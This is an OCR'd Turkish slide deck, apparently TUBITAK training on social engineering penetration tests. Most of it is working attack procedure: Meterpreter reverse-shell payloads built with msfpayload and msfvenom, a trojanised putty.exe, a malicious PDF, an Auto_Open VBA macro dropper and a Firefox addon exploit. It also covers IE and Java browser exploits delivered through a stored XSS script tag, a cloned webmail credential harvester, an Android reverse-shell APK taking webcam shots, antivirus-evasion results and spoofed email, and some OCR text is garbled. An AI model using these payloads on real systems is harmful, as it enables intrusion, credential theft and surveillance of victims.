TUBITAK

Sosyal Muhendislik Sizma
Testleri

TUBITAK BILGEM
Siber Guvenlik Enstitusu

Bu dokiiman, alinti vererek kullanilabilir ya da paylasilabilir ancak degistirilemez ve ticari amagla kullanilamaz.
Detayli bilgiye https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr baglantisindan erisebilirsiniz.



https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr
https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr
https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr
https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr
https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr

_Sosyl MIRESTR S

Bilgisayar guvenligi terimleriyle, insanlar arasindaki iletisimde ve insan

davranisindaki modelleri agikliklar olarak taniyip, bunlardan faydalanarak

guvenlik sireclerini atlatma yontemine dayanan midahalelere verilen isimdir.
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_ oyl MGHTEETR R

e Sosyal Mihendislik: Normalde insanlarin
tanimadiklari biri icin yapmayacaklari seyleri
yapmalarini saglama sanatidir. v

* Teknoloji kullanimindan cok insanlarin hile ile
kandirilarak bilgi elde edilmesidir.
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Sosyal Muhendislik Kavrami

Cogu zaman basit dolandiriciliga cok benzese bile,
bu terim genelde bilgi sizdirmak veya bir bilgisayar
sistemine sizmak Uzere yapilan numaralar icin
kullanilir.

Bu durumlarin buyuk cogunlugunda saldirgan,
kurban ile yuz yize gelmez.

Kullandigi en buylk silahi, insan zaafiyetleridir.

v
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Bir Sinir1 Var midir? “

Icinde insan olan
her sUrec bir sekilde
istismar edilebilir!!

—_— T —— T —
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Sosyal Muhendislik Saldiri Teknikleri

Tersine
Sosyal
Muhendislik

Oltalama

Cop
Karigtirma

Sosyal
Muhendislik
Teknikleri

Rol Yapma

v
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Sosyal Mhendislik Sizma Testi Hedefleri [[\-g

! TUBITAK

e

Kritik
bilgilere
erisim

—

Hedef o
sistemlere Yonetici
hakki elde

erisim | |
5 etme
saglama 4 ' _ \
\ Sistemi ele | \
- \gegirme | |
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Sosyal Muhendislik Sizma Testi Cesitleri “

Fiziksel
sosyal
muhendislik

Telefon ile
sosyal
muhendislik

Mail yoluyla
sosyal
muhendislik
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Sosyal Muhendislik Sizma Testi Asamalari

Exploitation

e internet izerinden hedef kurum ve kisiler hakkinda bilgi toplanmasi
e Kurumdaki glvenlik bilesenleri

e internet tarayicisi ve siirimii

e Program glincellestirmeleri

® Hassas olunan konular

» Telefon yoluyla hassas bilgi elde etme

e Telefonla yonlendirme

e Tarayici tabanli exploitation

e Ofis dokiimani, PDF tabanli exploitation
® Programlara zararli igerik ekleme

* Web sayfasi zafiyetinin kullaniimasi

e Form tabanh Web sayfalariyla bilgi calma

—_—

e Sistemde hak ylkseltme

e Pivoting

e Hassas bilgilere / sistemlere erisim
e Persistent

©35
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MG HD
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Guvenlik Bilesenlerini Atlatma Taktikleri “ ‘@'

! TUBITAK

reverse_https
reverse_http

Custom 380 veya 443
Payload portlari
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Bilgisayar Tabanli Sosyal Muhendislik Yontemleri “ @

! TUBITAK

Office Yazilimlari

XSS Zafiyeti

Casus Yazilimlar

Form Tabanli Web Sayfalari
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Custom Payload Olusturma “ A4

TUBITAK

msfpayload

e -| : Payload’lari listeler

O : Payload icin gerekli konfigtirasyonlari getirir.

* msfpayload windows/meterpreter/reverse_https O

X : Calistirilabilir dosya Uretir.

e msfpayload windows/meterpreter/reverse_https LHOST=192.168.1.5 LPORT=443 X >
payload.exe

memed R : Sonraki iterasyona girdi saglar.

* msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R |
msfencode ....

e C: C formatinda cikti Gretir.

e msfpayload windows/meterpreter/reverse_tcp EXITFUNC=seh LPORT=443 C > payload.c
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il e Y

-e : Kullanilacak encoder

-c : Encode isleminin kag kez yapilacagi
-0 : Cikti dosyasi

-t : Cikti format

-x : Sablon program

-k : Zararli kod enjekte edilen programin fonksiyonlarini korumasini saglar.
-b: "\xoo\xff’ gibi kotU karakterlerin olusmasini engeller.

-l: Encoder cesitlerini listeler.
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Custom Payload Olusturma

msfvenom

-p : Payload

-f : Cikti format

-x : Sablon program

-k : Zararl kod enjekte edilen programin fonksiyonlarini korumasini saglar.
-i : Encoding iterasyon sayisi

-b: "\xoo\xff’ gibi kot karakterlerin olusmasini engeller.

v
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(msfpayload ] (msfencode
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_ CustoiPoyicat OISR

Acik kaynak kodlu araclar

e Veil

* AVoid

* Syringe
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Custom Payload Olusturma " \ 4

TUBITAK

[Version]: 1.0 | [Updated]: 05.30.2013

: Chris Tuncer | [Twitter]: @ChrisTruncer

What payload type would you like to use?

Meterpreter 'vthon - void pointer
Meterpreter 'vthon - VirtualAlloc()
Meterpreter 'vthon - basef64 Encoded
Meterpreter 'vthon - Letter Substitution
Meterpreter 'vthon - ARC4 Stream Cipher
Meterpreter 'vthon - DES Encrypted
Meterpreter 'vthon - AES Encrypted

Exit Veil

Please enter number of your choice: 7|}

feil | [Version]: 1.0 | [Updated]: 05.30.20

[?] What type of payload would you like?

Reverse TCP
Reverse HTTP
Reverse HTTPS
Exit Veil

Flease enter the number of your

@823
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Custom Payload Olusturma " \ 4
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@ | [Updated]: 05.30.2013

What type of payload would you like?

Reverse TCP
Reverse HTTP
Reverse HTTPS
Exit Veil

=] Flease enter the number of your choice: 3
/] What's the Local Host IP Address: 172.16.3.23
7 = the Local Port Number: 443

[Version]: 1.0 | [Updated]: 05.30.2013

[?] How would you like to create your payload executable?

1 - Pyinstaller (default)
2 - Py2Exe

[=] Please enter the number of your choice: ll

@253
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Custom Payload Olusturma

v
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SHA 256!
SHAT:
MDE:

File size:
File name:

File type:

Analysis date:

-

Detection ratio:

total

43cadaari73e1 69a708c4 233058 e86bebBB36hde Tac 2ffdbael 1 2c 94288 5be22
G661 0fBB0P45R29c1 344723 aef932a04 9566741

f16bff 5367 7de S0 ed 94959499 765a0

2.9 MB ( 3063747 bytes )

payload exe

Win32 EXE

1/46

2013-06-14 081539 UTC { 2 minutes ago)

Less detaik
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Listener Kavrami || @

TUBITAK

= = use exploit/multi/handler
- set PAYLO windows/meterpreter/reverse https
preter/rey _ITT|
> @—T LHOST 192.168.1.15
- set LPORT 443

> set ExitOnSession false

'.vi+- | = exploit -j

oit running as background job.

Started HTTPS reverse handler
Starting the payload handler..
essions

@080 1

E% MG MDD
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CaligtinlabilirWindows Programlarina Zararli Icerik Eklenmesi II V

TUBITAK

:~# msfvenom -p windows/meterpreter/reverse https -f exe -e x86/shikata
ga nai -i 10 -k -x /root/Desktop/putty.exe LHOS5T=172.16.3.231 LPORT=443 > /root
Desktop/zararli putty.exe

' 86/shikata _ga nali succeeded with size 395 (iteration=l)
' shikata ga nai succeeded with size 422 (iteration=2)
shikata ga nal succeeded with size 449 (iteration=3)
shikata ga nai succeeded with size 476 (iteration=4)

}
}
' shikata ga nal succeeded with size 503 (iteration=5)
' S56/shikata ga nali succeeded with size 530 (iteration=6)
¥] x86/s ga_nal succeeded with size 557 (iteration=/)
, o :
}

+

> set PAYLOAD windows/meterpreter/rever:
> windows/meterpreter/reverse https
oloit| ) = set LHOST 172.16.3.231
> 172.16.3.231
ololit | | = set LPORT 443
> 443
ololit| | = set ExitOnSession false
INSession == false
Oloit| | = exploit -j
oloit running as background job.

@223
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Calistinlabilir Windows Programlarina Zararl icerik Eklenmesi " @
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Olusturulan exe’nin ¢alistiriimasi |

% PUTTY Configuration
Categony:

zararli_putty =~ S_ESSinn | B asic options for your PUT T session

oo Logging
- Terminal
- Keyboard
- Bell I
- Features Connection type:
- Wfindon " Raw  Telnet ¢ Rlogin @ S5H  Serial
- Appearance

- Behaviour -
- Translation Saved Sessions

— Specify the destination you want to connect to
Host Mame [or [P address)

~ Load, gave or delete a stored session

- Selection I
- Colours
- Connection
- Data

- Prowy
- Telnet
- Rlogin
f- 55H

- Serial

Default Settings

Cloze window on exit;
" Always € Mever & Only on clean exit

About | Open Cancel

ol }‘F .,.:T '.’-,—vﬂ .’g‘,—.- “‘ ;’4.‘ \:_:l’v; 7
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Calistinlabilir Windows Programlarina Zararl icerik Eklenmesi " @

TUBITAK

- explolit| ) = [*] 172.16.3.205:49195 Request received for /NQJs...
172.16.3.205:49195 Staging connection for target /NQJs received...
Patched user-agent at offset 640488...
'atched transport at offset 640148. ..
'atched URL at offset 640216...
'atched Expiration Timeout at offset 640748...
'atched Communication Timeout at offset 640752...
Meterpreter session 1 opened (172.16.3.231:443 -= 172.16.3.205:49195) at 20
6:90:47 +030

= sessions -1 1
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PDF Dosyalarina Zararl icerik Eklenmesi

TUBITAK

=fuselexploit/windows/fileformat/adobe pdf embedded exe
explolt( ) =

set FILEMAME /root/Desktop/kirlipdf.pdf
root/Desktop/kirlipdf.pdf
) = set INFILEMAME /root/Desktop/temizpdf.pdf
INFILENAME == /root/Desktop/temizpdf.pdf
msf exploit| ) > set PAYLOAD windows/meterpreter/reverse https
PAYLOAD == windows/meterpreter/reverse https
msf explolit| ) = set LHOST 10.20.20.118
LHOST == 10.20.20.118
smst exploiti ] = set LPORT 4444
LPORT == 4444
msf exploit| | = show options

Module options (exploit/windows/fileformat/adobe pdf embedded exe)

Name Current Setting

EXEMAME

FILENAME root/Desktop/kirlipdf.pdf

INFILENAME root/Desktop/temizpdf.pdf

LAUNCH MESSAGE To view the encrypted content please tick the "Do
File: area

oad options (windows/meterpreter/reverse https):
Current Setting Required Description
EXITFUNC prc S /es Exit technique: seh, thread, process,
LHOST 160.20.20.118 yes The local listener hostname
LPORT 4444 yes The local listener port
Exploit target:

Id MName

] Adobe Reader vB.x, v9.x (Windows XP SP3 English/Spanish) @
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PDF Dosyalarina Zararl icerik Eklenmesi [ \ 4

TUBITAK

msf exploit( ) = exploit

Reading in '/root/Desktop/temizpdf.pdf’...

Parsing '/root/Desktop/temizpdf.pdf'...

Using 'windows/meterpreter/reverse https' as paylo

Farsing Successful. Creating '/root/Desktop/kirlipdf.pdf’
root/Desktop/kirlipdf.pdf stored at /root/.msfd/local/kirlipdf.pdf

axploit

Started HTTPS reverse handler on https:

Starting the payload handler...

10.20.20.128:1034 Request received for /qj20...

10.20.20.128:1034 Staging connection for target

Patched user-agent at offset 641512...

Patched transport at offset 641172...

Patched URL at offset 641240...

Patched Expiration Timeout at offset 641772...

Patched Communication Timeout at offset 641776...

Meterpreter session 1 openec 0.20.20.118:4444 ->
96-23 13:14:17 +0300

preter > |}
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PDF Dosyalarina Zararh Icerik Eklenmesi
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hhYgqtpp.jpeg

Resim Dizenle Gorunum Git Yardim

£
— — - \
' ADOBE’ READER" 8

Mo eefiox- g - Yersion 8.0.0

Patent and Legal Notices

Copyright 1984-2006 Adobe Systems Incorporated and its licensors.
This page Is Intentlonally blank. All rights reserved.

r:b‘!ﬂ

e
Wtk tdt Ve Cooment Tods Wrdos Hal

# gastt| [= Satiodf.odf - Adobe 1.

@080 ..

E% MG MDD
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PDF Dosyalarini Birlestirerek Anti-Virus Sistemlerini Atlatma " @

2 total

SHAZSE:

b37611b0132a%ce13eaf1 16cYc9a3bfd05acy 761 7 O 3fda6EHE2Y7 64 dedsh

Dosya adi: single. pdf

Tespit edilme arani 30 /47

Analiz tarihi: 2013-06-24 13:24:57 UTC (0 dakika dnce)

b2 total

SHAZSE: 434953f3a85acha7 defbaa3532bdbdSeleabiZec2Gdeeed]l d7634e34b84 29

Dosya adn: custompdf. pdf
Tespit edilme orani 17 /47

Analiz tarihi: 2013-06-24 13:26:34 UTC {0 dakika dénce)

) total

SHAZSE: b99bd13calf244b581 dilack263eafa3d7 0539501959266 a7 abbBo3561863d7 723

Dosya ad: merged. pdf

[ —
Tespit edilme orani 10 /47 .! 0

Analiz tarihi: 2013-06-24 13:53:05 UTC (O dakika dnce)

Daha fazla ayrint
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Office Dosyalarina Zararh Icerik Eklenmesi “ ‘@'

TUBITAK

= Olusturulan exe payload vba uzantisina cevrilir.

¢ /usr/share/metasploit-framework/tools/exe2vba.rb

meed VDA dosyasi acildiginda 2 kisim gorilmektedir.

e «Macro code» kismi, View > Macros >View Macros > Create kismina makro kodu
olarak eklenir.

e «Payload data» kismi ofis belgesinde metin olarak eklenir.
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Office Dosyalarina Zararh Icerik Eklenmesi [

% Makro_virus - NewMacros (Code)

(General)

-

Auto_Open

Sub

End

Auto_Open()
Leoiul2
Sub

Sub

4

Leoiul2 ()
Dim Leoiu7
Dim Leoiul
Dim Leoiu2
Dim Leoiu3
Dim Leoiu4
Dim Leoiu8
Dim Leoiu? As Boolean
Dim Leoiu5 As Integer
Dim Leoiull As String
Dim Leoiu6é As Byte
Dim Etlsxosizk As String
Etlsxosizk = "Etlsxosizk"
Leoiul = "elrpugtAEFfg.exe"
Leoiu2 = Environ ("USERPROFILE"™)
ChDrive (Leoiul)
ChDir (Leoiu2)
Leoiu3 = FreeFile ()
Cpen Leoiul For Binary As Leoiu3
For Each Leoiu4 In ActiveDocument.Paragraphs
DoEvents
Leoiull = Leoiu4.Range.Text
If (Leoiu® = True) Then
Leoiud = 1
While (Leoiu8 < Len(Leoiull))
Leoiué = Mid(Leoiull, Leoiud, 4)
Put #Leoiu3, , Leoiué
il |

s Integer
s S5tring
= String
s Integer
= Paragraph
5 Integer

m

v

TUBITAK
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Office Dosyalarina Zararh Icerik Eklenmesi “ ‘@'

TUBITAK

Payload Data

| l(" E = 1akro virus.doc 0 natib v IVioc Cros0 [s] | | _ L X
W ] d - p Rl Fatioity viode VIICTOSOTE VY Or L

File Home Insert Page Layout References Mailings Review View Foxit Reader PDF AL ?

|ﬁ % calibri 1 - Yo EE % 3

L B 7 U-aex x & = iz aaBbceDe | AaBbcede AaBb( -
Paste  _ ' . TN | | 7 No Spaci Heading1l |_| Change iting

. b - A orma o Spaci... eading

- F - A A A v | T - | Styles+ |~
Clipboard 1 Font I Paragraph P} Styles I}
y Security Warning Macros have been disabled, | Enable Content J >

Etlsxosizk

[m] » | &F1

&HAD&H5A&HS0&H00&H03&HO0&H00&H00&H04&H00&HO0&HO0&HFF&HFF&HO0&H 00&HBE&H
00&HO0&H00&H00&H00&HO0&H00&HA0&HO0&H00 &HO0&H00&H008&H 008&H00&H 00&HO0&HO0&
HO0&HO0&H00&H00&HO0&H00&HO0&H00&HO0&HO0&HO0&H 00&HO0&H00&H00& HOO&HO0&HOOD
&HO00&HO0&H00&H00&HO00&HO0&H00&HB80&H00&HO0&HO0&HOE&H1F&HBAGHOE&HO0& HB4&H
09&HCD&H21&HB8&HO1&HAC&HCD&H21&H548H68&HE9&HT738&H20&H708&H72&H6F&HE7&HT 2
&H61&HEDE&H20&H63&HE1&HEE&HGE&HEFEHT74&H208HE2&HA58&H208&HT728H75&HGE&H2 0&H
69&HEE&H20&HA48&HAF&H538&H208&HE6D&HEF&HE648 H65&H2E&HOD&HOD&HOA&H24&H00&HO0
&HO0&HO0&HO08&HO0&HO0&HS508&HA5&H00&HO0&HAC&HO1&HOE&HO0&HOF&HSD&HB1&HS18&H
00&H10&H01&H00&HIC&HO1&HO0&HO0&HEO&HO0&HO78&HO018HOB&HO1 & HO2&H3 B&HO0&HO8&
HO0&H00&HO0&HEA&H00&H00&H00&H02&H00&H00&H 30&H11& HO0&HO0&H00&H1 0&HO0&H 00 '
&HOO&HZO&HOO& HOO& HOO& HOOS_( H4D&HC?P§( I:IOE)&!-I}D%HE)O%HDQ& HDD&HDZ&HDD&HDD& H{M& HO

@locoR
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Office Dosyalarina Zararli icerik Eklenmesi [
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exploit( ) = show options
(exploit/multi/handler) :

Name Current Setting Required Description

'ayload options (windows/meterpreter/reverse_

Name Current Setting Reguired

EXITFUNC process yes Exit technique: seh, thread,
LHOST 92.168.1.155 yes The local listener hostname
LPORT 443 yes The local listener port

Wildcard Target
sT exploit| ) = exploit -j
*] Exploit running as background job.

Started HTTPS reverse handler on https:
Starting the payload handler...
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Firefox Eklentisine Zararl Icerik Eklenmesi

ADDONNA

AutoUninstall

SRVHOST
SRVPORT
SSL
SSLCert
SSLVer
URIPATH

ME

ion

(expl

it/multi/bi

Current Setting

HTMLS Rendering
true

192.168.1.155
false

L,

v

TUBITAK

options

er/firefox_xpi bootstrapped addon) :

Enhancement The addon name.
Automaticall
The local h

The local |

uninstall
st to listen on.
rt to listen on.
MNegotiate SSL for incoming c
Path t 3 custom L certificate
Specify the sion of L that
The URI to use for this exploit

the ad execution

n the local

addon
Thi

after \1—',
must be an addre machine
onnections

(default is randoml
hould be used (accepted:

lefault 1

jenerated)
L2,

random

pading, Please Wait... - Mozilla Firefox

Dosya Digen  Gordndm — Gegmis  er Imleri  Araglar  Yardim
{ | Loading, Please Wait. .. I + ‘
192.168.1.155:¢ deneme)

€ %

r Firefox bu sitenin (192,168, 1.155) bilgisavariniza

wazihm kurmasin engelledi,

Addon required to wiew this page. [Install

.l

[ le]
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Firefox Eklentisine Zararli Igerik Eklenmesi | ‘@
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g, Please Wait... - Mozilla Firefox

Digen GOrOndm  Gecmis  Yer Imleri  Araglar  Yardim

.__iLoading, Please Wait... | + ‘

€ & 192.168.1.155:

denemef

Addon required to view this page. [Install

T — x|

Sadece giivendiginiz eklenti yazarlarinin eklentilerini
! kurun.

Kétid amach yazilmlar bilgisayariniza zarar verebilir veya gizliliginizi iblal edebilir,

Asadidaki dgenin kurulmasini istediniz:

=]

q HTML5 Rendering Enhancements [ Yarar dodrufanmanmgs)
G http://192.168.1.155:8080/denemeaddon. xpi

Simdi kur I Vazgeg

L - exploit
loit running as
started reverse handle 12.168.1.155:4444

Using URL: http: :8080/deneme

168.1.154 firefox xpi |
sending xpli and waiting for
Sending xpi and waiting fc

> 192.168.1.154:1

starting interaction with

L ]
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Internet Tarayicisi Zafiyetinin Kullanilmasi " @

» Zafiyet 14 Mayis 2013 tarihinde kapatildi.

* Metasploit ms13_037_svg_dashstyle istismar modulu

* BypassASLR

artyet barindiran sistemier

' ¥

» Zafiyet barindan uygulamalarin sGrimleri;
Windows 7 SP1 isletim sisteminde ¢alisan JRE6 ve Internet Explorer 8
uygulamasi,

Windows 7 SP1 isletim sisteminden ¢alisan ve ntdll.dll 6.1.7601.17514 ,
6.1.7601.17725 sUrUmlerini destekleyen internet Explorer 8 uygulamasi
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Internet Tarayicisi Zafiyetinin Kullanilmasi n ‘@'

TUBITAK

ms13_037_svg_dashstyle zafiyetinin istismar edilmesi I

i java Ozellikleri X ; et ExpIo 3 ib 2.3

Genel | Uyumiuiuk | Dital imzalar | Giivenlik ~Aynntlar | Onceki Siiiimle |

Dzelik | Deger |_ f_ Windows*
&y Internet Explorer8
Dosya Aciklamasi Java[TM) Platform SE binary L )
Tur Uygulama
Diwis datiis, 1602404 Strim: 8.0.7600.16385
Oriin adi Java[TM) Platform SE 6 U34 Sifreleme Diszeyi: 256 bit
Orin Suirimu 6.0.340.4 Uriin Kimlidi: 00426-292-0000007-85255
Telif Hakki Copyright © 2012 Gl;lncelle;‘t-irme Suramleri: 0
Boyut 145KB o
Degistime tarihi  25.06.2013 16:32 ] I?lyejr_lz_E_iu_bl!glsa";.-'.ar pirog_rarm telif 'hak}_u ",fa::g.sn_ 'f.j'e.plu-_:l_ar._ara_:fl
) ) anlasmalarla korunmakkadir. Bu programin timinin veya bir
Dil Dilden Bagimsiz béliminin izinsiz Gretilmesi veya daditimas sugtur ve bunu
Dzqiin dosya adi java eve vapanlar hakkinda kanunun hukuki ve cezai hikimleri gecerli
olacakbir,
cdil.an’c ¥oa
Genel | Diital imzalar | Givenik Aynntlar | Gnceki Siiimler | e
Ozellik | Deder |
Aciklama

Dosya Agklamast NT Layer DLL

Tur Uygulama uzantisi

Dosya surumu 6.1.7601.17725

Oriin adh Microsoft® Windows® Operating System

Oriin Stiruimi 6.1.7601.17725

Telif Hakk: @ Microsoft Corporation. &l rights reserved.

Boyut 1,23 MB |

Dedgistirme tarihi ~ 25.06.2013 16:44

Dil ingilizce (Amerikan)

M2aiin dosva adi  ntdll AN

@080 4

E% MG MDD
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Internet Tarayicisi Zafiyetinin Kullanilmasi

TUBITAK

f exploit( ) = set SRVHOST 172.16.3.243
VHOST == 172.16.3.243
set msf exploit| ) = set PAYLOAD windows/meterpreter/reverse tcp
i > windows/meterpreter/reverse_tcp
) > set LHOST 172.16.3.243 msf exploit| ) = exploit
[*] Exploit running as background job.
set TARGET 1

L ‘ i Started reverse handler on
oloit | ) = set URIPATH deneme ,
- de - Using URL: http:

show options Server started.

Module options (exploit/windows/browser/msl3 037 svg dashsty
Name Current Setting Required Description

ipt obfuscation
o listen on. This must be an
o listen on.
: - 1ncoming connections
Path to a custom SS5L certificate (default ig
L3 Specify the versicn of SS5L that should be us
URIPATH ( 10 The URI to use for this exploit (default is

oad options (windows/meterpreter/reverse_tcp):
Current Setting Required Description
Exit technique: seh,

LHOST 172.16.3.243 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

N Windows 7 SP1 with JRE ROP @G)@@
EY MG HD



https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr
https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr

&)

TUBITAK

Internet Tarayicisi Zafiyetinin Kullanilmasi

tp://172.16.3.243:8080,/deneme - Windows Internet Explore

|;§ http: /f172.16,3,.243:80380/deneme
J 5.7 Sik Kullarlanlar J -¢ Onerilen Siteler - @ | Web Slice Galerisi

',Q htbpe 172, 16,3, 243: 5080/ deneme I ]

[l Sl S S S S Sy S S ) M

Information
meterpreter x86/win32 WIN-O

msf exploit( )
[*] Starting interaction with 1...

@080

E% MG MDD
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Java Zafiyetinin Kullanilmasi || \ 4

TUBITAK

Jwsel 'I =R "I__-il—l___-i||l'|:—"l|l_._
ot TARGET 1

et SRVHOST 172.16.3.231
et SRVPORT
et URIPATH pentest

- exploit -]
background job.

e handler on 172.16.3.231:4444
://172.16.3.231 :8080/pentest

o Stk Kullanilanlar | 555 @] Onerilen Siteler v @] Web Slice Galerisi v

_ € http://172.16.3.231:8080/ pentest/

(BN

i S—
_

Jév—:"
: . (0 OO0C) 57

= MG RO

Qan
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v

TUBITAK

= [*] 172.16.3.204 java _jrel/ jmxbean 2 - handling request for /pentest
xbean 2 - handling request for /pentest
xbean_2 - Sending HTML
«bean 2 - handling request for /pentest/SLNUTbV.jar
xbean_2 - Sending JAR
_jmxbean 2 - handling request for /pentest/SLNUTbV.jar
/_jmxbean_2 - Sending JAR
7 _jmxbean 2 - handling request for /pentest/java/lang/ClassBeanlInfo.class
/_jmxbean 2 - handling request for /pentest
7 _jmxbean_ 2 - Sending HTML
7 _jmxbean 2 - handling reguest for /pentest/java/lang/0ObjectBeanInfo.
7_jmxbean 2 - handling request for /pentest
7 _jmxbean_ 2 - Sending HTML
7 _jmxbean 2 - handling reguest for /pentest/java/lang/ObjectCustomizer.class
7 jmxl
7 jmx|
7 jmxl
. .3.20 ] 7 _jmxbean 2 - handling request for /pentest
2.16.3.20 :.: j'i 7 _jmxbean 2 - Sending HTML
5%ndinq f1 2.16.3.20

bean_2 - handling reguest for /pentest
bean_2 - Sending HTML
oean_2 - handling request for /pentest/java/lang/ClassCustomizer.class

2.16.
2.16.
2. 16.
2.16.
2.16.
2.16.
2.16.
2. 16.
2. 16.
2. 16.
2. 16,
2. 16,
2. 16,
2. 16,
.16,
216,
.16

3.204:4958

@253 =
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Java Zafiyetinin Kullaniimasi

TUBITAK

Java_jre17_jmxbean_2 & Stored XSS

Vulnerability: Stored Cross Site Scripting (XSS)

Mame * Java-X55

scrpt src="hitp:/M172.16.3.231/pentest"></script

Message *

| Sign Guestbook

CQCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "httr .0org/TR/xhtmll/DTD/xhtmll-strict.dtd">
<html xmlns="http://www.w3.org/19%5/xhtml" >
p <head > .. </head>
4 “body class="home" >
4<div id="container" =
p <div id="header" > .. </div>
p <div id="main menu" > .. </div>
4<div id="main body" >
4 <div class="body padded" >
b <hl > .. </hl>
b <div class="vulnerable code_ area" > .. </div>
<br ></br>

b <div id="guestbook comments" > .. </div>

4<di i id="guestbook_comments" >
Name: Java-XS53

<br ></br>
Messzage:
<script src="http://172.16.3.231/pentest"™ ></script>
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SET (Social-Engineer Toolkit) ‘@'

TUBITAK

= Java Applet Attack

a Browser Exploit Method

o  Website Attack Vectors

Credential Harvester
Attack Method

o Infectious Media Attack

= Tabnabbing Attack Method

SMS Spoofing Attack Method

Social Engineering Attacks
Wireless Access Point Attack

B Vector

= Man in the middle attack

= Web Jacking Attack Method

- QRCode Attack Vector
= Multi-Attack Web Method

o Powershell Attack Vector

Create or import a
CodeSigning Certificate

SLoEe
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SET-Credential Harvester Attack Method | @

TUBITAK

. hitps://www.trustedsec.com [ --

3l -Engineer Toolkit (SET). The one
Ir social -engineering needs.

The Social-Engineer Toolkit is a product

Visit: https://www.trustedsec.c N , L. ) )
The Social-Engineer Toolkit 1s a product of TrustedSec)

Visit: https://www.trustedsec.com

@23 -
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SET-Credential Harvester Attack Method @

e Web-Jacking Attack method was introduced by
This method utilizes

and the Back|Track team.

make the highlighted URL link to appea

a window pops

the 1ink replacement

p then is

The Multi-Attack method

menu. For example yo

Credential Ha
all at once to

vester/Tak

see which

1) Java Applet Attacl
2) Metasploit Browsel

Credentia

L

Harveste

Tabnabbing Attack M
Web Jacking Attacl
Multi-Attack Web Me

Create ol

Return to

import a

Main Menu

settings in the

will add a

is

Method

combination of

U can utilize the Java Applet,
nabbing, and the Man

Exploit Method
r Attack Method

ethod
Method

thod
CodeSigning

Certi

white sheep,
iframe replacements to
legitimate however
replaced with the malicious link.
set config if its too slow

attacks through the wek

Metasploit Browser,
the Middle

TUBITAK

attac

f pre- lefined wel

our choosing
mpletely

@3 -
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SET-Credential Harvester Attack Method " ‘@'

TUBITAK

k Kullamlanlar | 52 @1 Onerilen Siteler v @1 Web Slice Galerisi v
=

imbra Web Client SignIn f - A = - v

TUBITAK Webmail

WU pentest. egitimi

W remember me
Sign In
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SET-Credential Harvester Attack Method

TUBITAK

client=preferred B .
tk Kullanilanlar | 5 @ | Onerilen Siteler v @ | Web Slice Galerisi =

Zimbra Web Istemcisi Oturum Agma Bilgileri

Kullanic ad:

Parola:
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Credential Harvester Attack Method "

Kullanilacak alan adi, var olan bir alan adina alt alan adi olarak eklenebilir.

Benzer domain alinabilir. (urlcrazy)

) DNS istegi degistirilebilir. (DNS-Spoofing)
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Mobil Cihazlara Yonelik Sosyal Muhendislik “ @

TUBITAK

7

* msfpayload android/meterpreter/reverse_tcp

Y] MainActivity

LHOST=10.20.20.117 LPORT=443 R > android.apk

Bu uygulamayi yuklemek istiyor
musunuz?

Bu uygulamaya izin ver:
Kisisel bilgileriniz
kisi bilgilerini okuma, kisi bilgilerini yazma
Ucretli hizmetler
SMS mesajlari génderme, telefon
numaralarini dogrudan arama

Mesajlariniz

SMS alma

Konumunuz
hassas (GPS) konum

Ag iletisimi
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Mobil Cihazlara Yénelik Sosyal Mihendislik |/i\-4 \ 4

TUBITAK

oit muWTL handler
- set PAYLOAD android/meterpreter/reverse_
== android m%t+|L|ete| reverse tcp
- set LPORT 443

= set LHOST 10.20.20.117
set ExitOnSession false

ololit | ) = exploit -j
oloit running as background job.

Started reverse |'| andler on 10.20.20.117:443
Starting the payload ||-|I| dler.

S _ ) = [*] Sending stage (39698 bytes)
[*] Meterpreter session 1 opened (10.20.20.117:443
17 09:42:06 +0300

[ ~-|1 )] = sessions
T1|T1n| interaction with 1...

meterpreter = webcam snap
[*] Starting...

[+] Got frame

[*] Stopped

Webcam shot savec
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Metasploit AutoRunScript | ‘@'

TUBITAK

* Oturum acildiktan sonra ¢alisacak «post-exploitation» modulleri handler acilirken

belirtilir.
— msf exploit(handler) > set AutoRunScript 'post/windows/escalate/getsystem®

* Coklu post-exploitation modil de eklenebilir. autoruncommands.rc’nin igine

kullanilacak post-exploitation moduller yazilmahdir:

— msf exploit(handler) > set AutoRunScript multi_console_command -rc
/root/Desktop/autoruncommands.rc

leterpretel M
14 15:06:° FO3EE
[ ion ID 1 (172.16.3.. 2. :

nsole command [ I toruncaommands ., re'

Funning Command List
RUNMLlNg command run | t/wilndows/manage/migrate
RLUARLIAG module adgalnst WLNAL

Lurrent server process: 1/2.16.3.231 443 htt

pawnlng notepad.exe proce to migrate f

Migrating t [ 435

successtully migrated to proce 1432
Running command run post/windows/esc

Obtained SYSTEM via technique 1
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Sosyal MUhendislik Senaryo Hazirligi Sonrasi “ @

TUBITAK

Saldir
Senaryosunun
Gergeklenmesi

Fiziksel

E-posta
sistemlerinin
zafiyeti var mi?
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_Teleforla So5yET MU

Gercekei Tedl.rg.ln G“".ef‘ Ses tonu
edici Verici
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_ Reloy (Vonlerce) SHTNSRSG———

telnet mail.example.com 25

HELO [example.com]

mail from: deneme1@example.com

rcpt to: deneme2@example.com

DATA

From: "Deneme1" denemei@example.com
To: "deneme2@example.com”

Subject: Konu

Mail icerigi

QUIT
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Sahte E-posta Gonderilmesi

From Name: Huseyin Can
From E-mail: huseyin can@tubitak gov tr
To: pentestegitimi@yandex.com
Subject: Test

Attachment:

Attach another file

[ Advanced Settings ]

Content-Type: @ text/plain O text/html || Editor

\ Text: Test mailidir.

©5

€]O)

MG HD

TUBITAK
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Sahte E-posta Gonderilmesi

/ @ https://mail.yandex.com.tr/neo2/handlers/message-source/2241215783533877 77 v v Google

Received: from mxfronté.mail.yandex.net ([127.0.0.1])

by mxfronté.mail.yandex.net with LMTP id A&6f0npsr

for <pentest.egitimivandex.com®>; Mon, 17 Jun 2013 17:10:06 +0400
Received: from emkei.cz (emkei.cz [46.167.245.118])

Mon, 17 Jun 2013 17:10:03 +0400
X-Yandex-Front: mxfront6.mail.yandex.net
X-Yandex-TimeMark: 1371474603

X-Yandex-Spam: 1
Received: by emkei.cz (Postfix, from userid 33)

